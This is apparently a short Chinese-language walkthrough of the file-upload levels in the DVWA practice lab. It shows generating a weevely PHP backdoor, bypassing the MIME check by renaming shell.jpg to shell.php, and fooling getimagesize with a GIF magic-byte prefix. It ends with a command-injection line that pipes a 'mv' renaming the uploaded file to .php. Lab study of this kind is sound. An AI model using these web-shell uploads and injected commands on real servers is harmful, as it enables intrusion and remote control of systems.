basename(path,suffix)
函数,返回 path
中的文件名,可选参数 suffix
为空时,返回的文件名携带后缀
$Low$
结合
weevely
进行后门生成weevely generate pass file_inclusion.php
生成了密码为
pass
的后门文件直接上传,通过
weevely
链接即可$Medium$
判断文件类型必须是图片格式才允许上传
不妨上传 $shell.jpg$ ,抓包后修改文件名为 $shell.php$ 即可
$High$
strrpos
函数用于查找某字符串在当前字符串最后一次出现位置substr
只跟单个参数时,截取第[参数]个字符后面的所有字符串strtolower
字面义,字符串全部转为小写getimagesize
函数,根据文件头检测是否为图片格式,可以用GIF98
绕过具体来说,直接在 $shell$ 最前面加上
GIF98
即可结合 $low$ 级别的文件包含漏洞,以
.jpg
格式上传再利用命令注入改回后缀
ping 127.0.0.1 |mv ../../hackable/uploads/test.png ../../hackable/uploads/test.php